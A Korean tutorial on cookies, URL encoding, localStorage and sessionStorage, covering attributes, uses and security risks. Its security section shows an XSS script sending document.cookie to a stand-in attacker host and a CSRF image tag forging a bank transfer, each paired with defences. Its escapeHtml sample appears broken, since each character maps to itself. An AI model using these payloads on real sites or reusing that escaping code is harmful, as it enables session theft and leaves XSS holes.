웹 어플리케이션이 점차 복잡해지고 더 나은 사용자 경험을 제공해야 할 필요성이 커지면서 시작되었다. 초기 웹은 정적인 콘텐츠 제공에 중심을 두었지만 사용자가 직접 상호작용하는 동적인 웹 어플리케이션이 대중화되면서 데이터를 클라이언트 측에 저장할 필요성이 대두되었다.
about.html, hello.html 같은 HTML 파일이 고정된 상태로 제공되는 사이트쿠키는 1990년대 초반에 등장했다. 당시 웹은 상태를 유지하지 않는 HTTP 프로토콜(무상태 프로토콜) 기반으로 작동했기 때문에 서버는 사용자가 웹 사이트를 방문할 때마다 매번 새로운 사용자인지 기존 사용자인지를 인식할 방법이 없었다. 이를 해결하기 위해서 쿠키가 개발되었다.
쿠키는 사용자가 틀정 웹 사이트에 접속할 때 그 사용자의 브라우저에 작은 데이터 조각을 저장해두고 이후 웹 페이지 요청 시 서버에 해당 데이터를 전송하도록 하는 메커니즘이다. 이를 통해 웹 서버는 사용자가 어떤 상태에 있는지 기억할 수 있다.
쿠키는 이름(name)-값(value) 쌍과 속성(attributes)으로 구성된다.
Set-Cookie: <이름>=<값>; <속성1>=<값1>; <속성2>=<값2>; ...
웹에서 사용하는 특수 문자를 안전하게 URL에 포함시키기 위한 인코딩 방식이다. URL은 기본적으로 ASCII 문자만 허용되기 때문에 URL에 포함될 수 없는 특수 문자나 공백, 한글 등 비ASCII 문자를 안전하게 전송하기 위해 인코딩을 사용한다.
인코딩 방식
URL 인코딩은 문자열을 퍼센트(%) 기호로 시작하고 16진수로 표현된 ASCII 코드로 변환하는 방식이다. 즉 ASCII 범위를 벗어나는 문자나 URL에서 특별한 의미를 가지는 문자들은 %와 그 뒤에 두 자리의 16진수로 대체된다.
예시:
"안녕하세요" → %EC%95%88%EB%85%95%ED%95%98%EC%84%B8%EC%9A%94다시 쿠키의 주요 구성 요소로 돌아오자!
Set-Cookie: sessionId=abc123; Expires=Wed, 21 Oct 2024 07:28:00 GMTMax-Age=60이라면 60초 동안만 유효하다.Set-Cookie: sessionId=abc123; Max-Age=3600Path=/shopping으로 설정하면 /shopping과 그 하위 경로에서만 이 쿠키가 유효하다.Set-Cookie: sessionId=abc123; Path=/shopping
Set-Cookie: sessionId=abc123; Domain=example.com
이 경우 example.com 도메인 및 그 하위 도메인(예: www.example.com, ex.example.com)에서도 쿠키가 유효하다.
HttpOnly는 쿠키가 클라이언트 측 JavaScript에서 접근할 수 없도록 설정하는 플래그이다. HttpOnly 플래그가 설정된 쿠키는 document.cookie같은 JavaScript로 읽거나 수정할 수 없다.Set-Cookie: sessionId=abc123; HttpOnly
Secure는 쿠키가 HTTPS 연결에서만 전송되도록 제한하는 플래그이다. 이 속성이 있으면 쿠키는 HTTPS를 사용하는 안전한 연결에서만 서버로 전송되며 HTTP에서는 전송되지 않는다.Set-Cookie: sessionId=abc123; Secure
SameSite 속성은 코로스 사이트 요청에서 쿠키가 전송되는 방식을 제어한다.Secure 속성이 반드시 함께 설정되어야 한다.Set-Cookie: sessionId=abc123; SameSite=Strict
SameSite=None 옵션을 제공할까?SameSite=None은 보안이 낮아 보일 수 있지만, 특정 상황에서는 꼭 필요합니다:
서드파티 쿠키 사용 시 필요
example.com에서 Google 로그인을 사용할 때, Google의 인증 쿠키는 서드파티 쿠키입니다.SameSite=None 옵션을 사용해야 Google 인증 서버가 인증 쿠키를 전송할 수 있습니다.다중 도메인 환경에서 필요
example.com)과 API 서버 (api.example.com)가 서로 다른 서브 도메인일 때.example.com에서 api.example.com으로 요청 시에도 Cross-Origin으로 간주될 수 있습니다.SameSite=None을 사용해야 인증 쿠키를 API 서버에 전송할 수 있습니다.Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 21 Oct 2024 07:28:00 GMT; Secure; HttpOnly; SameSite=Strict
클라이언트는 서버로 HTTP 요청을 보낼 때 요청 헤더에 Cookie 필드를 포함하여 저장된 쿠키를 전송한다. 이는 서버가 클라이언트의 상태나 인증 정보를 확인하는 데 사용된다.
GET /index.html HTTP/1.1
Host: www.example.com
Cookie: sessionId=abc123
쿠키는 가장 기본적으로 사용자의 상태를 유지하는 역할을 합니다. 위에서 설명했듯이 HTTP는 무상태 프로토콜이므로 서버는 사용자가 페이지를 새로고침하거나 다른 페이지로 이동할 때마다 이전에 어떤 활동을 했는지 기억하지 못한다. 쿠키를 사용하면 이 문제를 해결할 수 있다.
사용자가 로그인한 상태를 유지하는 것이 대표적인 예이다. 사용자가 로그인한 후 서버는 쿠키에 세션 ID를 저장하고 이후 사용자가 다른 페이지로 이동하더라도 해당 세션 ID를 서버로 전송하여 사용자가 인증된 상태를 유지할 수 있다.(전혀 RESTful하지 않다...!)
Set-Cookie: sessionId=abc123; Path=/; HttpOnly
장바구니 정보 저장하는 방식도 예가 될 수 있다. 쇼핑몰에서 사용자가 로그인하지 않고도 장바구니에 상품을 추가하면 장바구니 정보가 퀴키에 저장될 수 있다. 이 방식은 사용자가 페이지를 이동해도 장바구니 상태가 유지되도록 한다.(클라이언트 측에서도 쿠키를 생성할 수 있다는 이야기이다!)
// 쿠키 생성 (유효기간을 7일로 설정)
document.cookie = "cartItems=3; path=/; max-age=" + 7*24*60*60;
쿠키는 사용자의 개인 설정 정보를 저장하여 웹사이트가 사용자에게 맞춤형 경험을 제공할 수 있도록 돕는다. 사용자가 웹사이트에서 특정 설정(언어, 테마 등)을 선택하면 해당 정보가 퀴키에 저장되고 웹사이트에 재방문할 때 이정보를 바탕으로 동일한 설정을 유지한다.
Set-Cookie: language=ko; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT
Set-Cookie: theme=dark; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT
쿠키는 웹사이트가 사용자 행동을 추적하고 사용자 활동을 분석하는 데도 사용된다. 특히 광고 회사나 웹사이트 분석 도구에서 자주 사용되는 방식이다. 이를 통해 웹사이트는 사용자의 방문기록, 클릭 패턴 등을 파악하고 이를 기반으로 맞춤형 광고나 콘텐츠를 제공할 수 있다.
웹사이트 분석 도구는 쿠키를 사용하여 사용자가 웹사이트를 얼마나 자주 방문하고 어떤 페이지에서 더 오래 머무는지 등의 데이터를 수집한다. 이를 통해 웹사이트 운영자는 사용자 경험을 개선하거나 더 나은 마케팅 전략을 수립할 수 있다.
//GA는 웹사이트 분석 도구인 Google Analytics이다!
Set-Cookie: _ga=GA1.2.1234567890.0987654321; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT
광고 네트워크는 사용자의 방문 기록을 기반으로 맞춤형 광고를 제공한다. 사용자가 특정 웹사이트에서 특정 제품을 검색한 기록을 쿠키에 저장한 후 다른 웹사이트를 방문할 때 해당 제품과 관련된 광고를 제공하는 방식이다.
Set-Cookie: adTrackingId=123456; Path=/; Expires=Wed, 21 Oct 2024 07:28:00 GMT
쿠키에는 세션 ID 같은 중요한 정보가 저장되기 때문에 공격자가 이 쿠키를 가로채면 사용자의 세션을 탈취할 수 있다. 이를 통해 공격자는 해당 사용자가 아닌데도 로그인된 사용자처럼 행동할 수 있다. 이는 주로 쿠키가 네트워크 상에서 평문으로 전송되기 때문에 발생할 수 있는 문제이다.
예시:
1. 사용자가 http://example.com에 로그인하고 세션 ID가 쿠키에 저장된다.
2. 공격자는 중간에서 네트워크 트래픽을 감시하여 사용자가 전송하는 HTTP 요청을 가로채고 해당 요청에서 쿠키에 저장된 세션 ID를 획득한다.
3. 공격자는 가로챈 세션 ID를 사용해 사용자의 권한으로 서버에 요청을 보낼 수 있게 된다.
해결 방안:
Secure 플래그를 설정하여 쿠키가 HTTPS 연결에서만 전송되도록 강제한다. 이렇게 하면 쿠키가 암호화된 HTTPS 통신을 통해서만 전송되기 때문에 공격자가 네트워크를 감시하더라도 쿠키를 가로채기 어렵다.공격자가 웹페이지에 악성 스크립트를 삽입하여 사용자의 쿠키를 탈취하거나 사용자의 권한으로 악성 코드를 실행하게 하는 공격이다. 웹페이지의 보안이 허술할 경우 공격자는 악성 코드를 삽입하고 해당 스크립트가 사용자의 쿠키에 접근하여 민감한 정보를 가져가게 된다.
예시:
1. 공격자가 댓글 입력 필드에 악성 스크립트를 삽입한다.
<script>
document.location='http://attacker.com/steal_cookie?cookie=' + document.cookie;
</script>
http://attacker.com/steal_cookie로 쿠키 정보를 전송한다. 이로 인해 공격자는 사용자의 세션 ID나 인증 정보를 가로챌 수 있다.<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<title>댓글 페이지</title>
</head>
<body>
<h1>댓글</h1>
<!-- 댓글 입력 폼 -->
<form method="POST" action="/submit-comment">
<textarea name="comment" placeholder="댓글을 입력하세요"></textarea>
<button type="submit">댓글 제출</button>
</form>
<h2>다른 사람들의 댓글</h2>
<!-- 정상적인 댓글 -->
<div class="comment">
<p>이 웹 페이지는 정말 유용하네요!</p>
</div>
<!-- 공격자가 삽입한 악성 스크립트 댓글 -->
<div class="comment">
<script>
document.location='http://attacker.com/steal_cookie?cookie=' + document.cookie;
</script>
</div>
</body>
</html>
해결 방안:
1. HttpOnly 쿠키 사용:
HttpOnly 플래그를 사용하면 JavaScript를 통해 쿠키를 읽을 수 없기 때문에 XSS 공격으로 쿠키 정보를 탈취하는 것을 방지할 수 있다.
2. 입력 값 이스케이프 처리
입력된 데이터를 HTML에 그대로 표시하지 않고 특수 문자를 이스케이프 처리하여 실행되지 않도록 해야 한다. 이스케이프 처리란 실행 가능한 특수 문자가 원래 의미를 가지지 않도록 탈출시켜 단순 텍스트로 변환하는 과정이다. 즉 브라우저가 이 문자를 코드로 해석하지 않고 단순한 텍스트로 출력하게 하려는 목적이 있다.
const escapeHtml = (unsafe) => {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
};
CSRF 공격은 사용자가 인증된 상태에서 공격자가 악의적인 요청을 위조하여 서버로 전송하게 하는 공격이다. 이때 쿠키가 자동으로 전송되는 특성을 악용하여 사용자가 원하지 않은 행동이 서버에서 처리될 수 있다.
예시:
1. 사용자가 bank.com에 로그인하여 계좌 정보를 관리하고 있다.
2. 공격자는 사용자가 bank.com에 로그인한 상태라는 것을 알고 malicious-site.com에 악성 스크립트를 삽입하여 사용자가 이 페이지에 방문할 때 bank.com으로 요청을 전송하도록 만든다.
3. 예를 들어 다음과 같은 악성 스크립트를 삽입할 수 있다.
<img src="https://bank.com/transfer?amount=10000&to=attacker_account" />
사용자가 malicious-site.com을 방문하면 브라우저는 bank.com에 저장된 쿠키를 포함한 요청을 자동으로 전송하고 서버는 이 요청을 합법적인 것으로 인식하여 계좌 이체를 실행한다.
해결 방안:
1. SameStie 플래그:
SameSite 플래그는 쿠키가 크로스 사이트 요청에서 전송되지 않도록 제한하여 CSRF 공격을 방지할 수 있다. SameSite=Strict 또는 SameSite=Lax 설정을 통해 외부 사이트에서 발생하는 요청에는 쿠키가 전송되지 않도록 제한한다.쿠키는 HTTP 요청마다 서버로 전송되기 때문에 쿠키가 많아질수록 네트워크 트래픽이 증가한다. 특히 쿠키의 최대 크기가 4KB로 제한되어 있는데 모든 요청마다 이러한 데이터를 서버로 전송하면 페이지 로딩 속도가 느려질 수 있다.
해결 방안:
HTML5에서는 로컬 스토리지와 세션 스토리지가 도입되었다.
로컬 스토리지는 웹 애플리케이션이 점차 복잡해지고 데이터량이 증가하면서 기존의 쿠키 기반 데이터 저장 방식의 한계를 극복하기 위해 등장했다.
영구 저장 : 로컬 스토리지에 저장된 데이터는 사용자가 브라우저를 닫거나 컴퓨터를 재시작해도 삭제되지 않는다. 사용자가 명시적으로 삭제하지 않는 한 해당 데이터를 계속 사용할 수 있다.
도메인 단위로 저장 : 로컬 스토리지는 도메인별로 독립적으로 저장되며 하나의 도메인에서 저장된 데이터는 해당 도메인에서만 접근할 수 있다. 다른 도메인에서는 접근이 불가능하다.
최대 저장 용량 : 로컬 스토리지는 브라우저마다 다르지만 일반적으로 5MB정도의 용량을 제공하며 쿠키의 4KB에 비해 훨씬 큰 데이터를 저장할 수 있다.
서버로 자동 전송되지 않음 : 쿠키와 달리 로컬 스토리지에 저장된 데이터는 HTTP 요청 시 서버로 전송되지 않으며 오직 클라이언트 측에서만 사용된다.
로컬 스토리지는 주로 사용자 맞춤 설정, 웹 어플리케이션의 상태 관리, 캐시 데이터 등을 저장하는 데 유용하다.
// 로컬 스토리지에 데이터 저장하기
localStorage.setItem('username', 'hyoyoon'); //username이라는 키에 'hyoyoon'이라는 값을 로컬 스토리지에 저장
// 로컬 스토리지에서 데이터 읽기
const username = localStorage.getItem('username'); //로컬 스토리지에서 username이라는 키로 저장된 데이터 가져오기
console.log(username); // 출력: 'hyoyoon'
// 로컬 스토리지에서 특정 데이터 삭제하기
localStorage.removeItem('username'); // 로컬 스토리지에서 username이라는 키로 저장된 데이터를 삭제
// 로컬 스토리지의 모든 데이터를 삭제하기
localStorage.clear();
/*
* 사용자가 어두운 테마를 선택한 경우, 로컬 스토리지에 그 정보를 저장하여
* 다음 방문 시에도 어두운 테마 유지
*/
// 어두운 테마 설정 저장
localStorage.setItem('theme', 'dark');
// 웹사이트 재방문 시 테마 불러오기
if (localStorage.getItem('theme') === 'dark') {
document.body.classList.add('dark-theme');
}
/*
* 사용자가 로그인하지 않은 상태에서도 쇼핑몰 장바구니 정보를 저장하고 유지할 때
* 로컬 스토리지를 사용할 수 있음
*/
// 장바구니에 물품 추가
const cart = JSON.parse(localStorage.getItem('cart')) || [];
cart.push({ itemId: 1, itemName: '상품 A', quantity: 2 });
localStorage.setItem('cart', JSON.stringify(cart));
// 장바구니 정보 읽어오기
const savedCart = JSON.parse(localStorage.getItem('cart'));
console.log(savedCart);
로컬 스토리지는 주로 웹 페이지의 캐시 데이터를 저장하는 데 사용되기도 한다. 자주 변경되지 않는 데이터를 로컬 스토리지에 저장하여 불필요한 서버 요청을 줄이고 웹 어플리케이션의 성능을 향상시킬 수 있다.
로컬 스토리지에 저장된 데이터는 클라이언트 측에서 쉽게 접근 가능하다. 따라서 민감한 정보를 로컬 스토리지에 저장하는 것은 위험하다.
JavaScript로 접근 가능하기 때문에 XSS 공격에 노출될 수 있다.
민감한 정보 저장 금지 : 로컬 스토리지는 주로 비민감한 데이터를 저장하는 데 사용해야 한다. 예를 들어 사용자의 이름이나 테마 설정 등과 같은 데이터만 로컬 스토리지에 저장해야 하며 세션 토큰이나 사용자 인증 정보는 로컬 스토리지에 저장하지 말아야 한다. 다시 말해 보안을 중요시할 경우 JWT 토큰을 저장하는 것도 좋지 않다...!(오히려 HttpOnly 쿠키로 저장하는 것이 좋다)
XSS 방지 : XSS 공격을 방지하기 위해 웹 어플리케이션에서 사용자 입력을 처리할 때는 반드시 입력값 검증 및 이스케이프 처리를 적용해야 한다.
암호화된 데이터 저장 : 민감한 데이터를 반드시 클라이언트 측에 저장해야 한다면 저장하기 전에 암호화된 형태로 저장하는 방법을 고려할 수 있다. 하지만 암호화 키 자체도 안전하게 관리해야 하기 때문에 이 방식도 절대적인 해결책은 아니다.
세션 스토리지는 쿠키를 보완하기 위해 등장했다. 특히 쿠키의 성능 저하 문제를 해결하고 세션 유지라는 중요한 기능을 제공한다.
세션 동안 데이터 유지 : 세션 스토리지는 브라우저 탭이 열려 있는 동안만 데이터를 유지한다. 브라우저나 탭을 닫으면 저장된 데이터는 자동으로 삭제된다.
도메인 단위로 저장 : 세션 스토리지는 도메인별로 독립적으로 저장되며 하나의 도메인에서 저장된 데이터는 해당 도메인에서만 접근할 수 있다. 다른 도메인에서는 접근이 불가능하다.
최대 저장 용량 : 세션 스토리지는 브라우저마다 다르지만 일반적으로 5MB정도의 용량을 제공하며 쿠키의 4KB에 비해 훨씬 큰 데이터를 저장할 수 있다.
서버로 자동 전송되지 않음 : 쿠키와 달리 세션 스토리지에 저장된 데이터는 HTTP 요청 시 서버로 전송되지 않으며 오직 클라이언트 측에서만 사용된다.
세션 스토리지는 일시적인 데이터를 저장하는 데 유용하다. 예를 들어 사용자가 페이지를 새로 고침해도 입력된 데이터가 유지되기를 원할 때 사용된다. 주로 입력 폼 데이터나 일시적인 사용자 상태를 저장하는 데 사용된다.
// 세션 스토리지에 데이터 저장하기
sessionStorage.setItem('username', 'hyoyoon'); //username이라는 키에 'hyoyoon'이라는 값을 세션 스토리지에 저장
// 세션 스토리지에서 데이터 읽기
const username = sessionStorage.getItem('username'); //세션 스토리지에서 username이라는 키로 저장된 데이터 가져오기
console.log(username); // 출력: 'hyoyoon'
// 세션 스토리지에서 특정 데이터 삭제하기
sessionStorage.removeItem('username'); // 세션 스토리지에서 username이라는 키로 저장된 데이터를 삭제
// 세션 스토리지의 모든 데이터를 삭제하기
sessionStorage.clear();
/*
* 사용자가 웹 페이지에서 품을 작성하는 도중 페이지를 새로고침했을 때
* 세션 스토리지에 저장된 데이터를 사용하여 입력된 내용을 복원할 수 있다.
*/
// 사용자가 입력할 때 데이터를 세션 스토리지에 저장
document.querySelector('input[name="name"]').addEventListener('input', (event) => {
sessionStorage.setItem('name', event.target.value);
});
// 페이지 로드 시 세션 스토리지에서 데이터를 불러와 입력 필드에 채워 넣기
document.querySelector('input[name="name"]').value = sessionStorage.getItem('name') || '';
/*
* 사용자가 특정 페이지에서 단계별로 작업을 할 때 페이지를 이동할 때마다
* 그 상태를 세션 스토리지에 저장할 수 있다.
*/
// 설문 단계별로 세션 스토리지에 사용자 응답 저장
sessionStorage.setItem('step1', JSON.stringify({ question1: '답변1', question2: '답변2' }));
// 페이지 이동 시 이전 단계에서 입력한 데이터를 불러오기
const step1Data = JSON.parse(sessionStorage.getItem('step1'));
세션 스토리지에 저장된 데이터는 클라이언트 측에서 쉽게 접근 가능하다. 따라서 민감한 정보를 로컬 스토리지에 저장하는 것은 위험하다.
JavaScript로 접근 가능하기 때문에 XSS 공격에 노출될 수 있다.
민감한 정보 저장 금지 : 세션 스토리지는 주로 비민감한 데이터를 저장하는 데 사용해야 한다. 민감한 정보는 보안이 강화된 방법으로 저장하고 전송해야 한다(예: HttpOnly 쿠키 사용)
XSS 방지 : XSS 공격을 방지하기 위해 웹 어플리케이션에서 사용자 입력을 처리할 때는 반드시 입력값 검증 및 이스케이프 처리를 적용해야 한다.
암호화된 데이터 저장 : 민감한 데이터를 반드시 클라이언트 측에 저장해야 한다면 저장하기 전에 암호화된 형태로 저장하는 방법을 고려할 수 있다. 하지만 암호화 키 자체도 안전하게 관리해야 하기 때문에 이 방식도 절대적인 해결책은 아니다.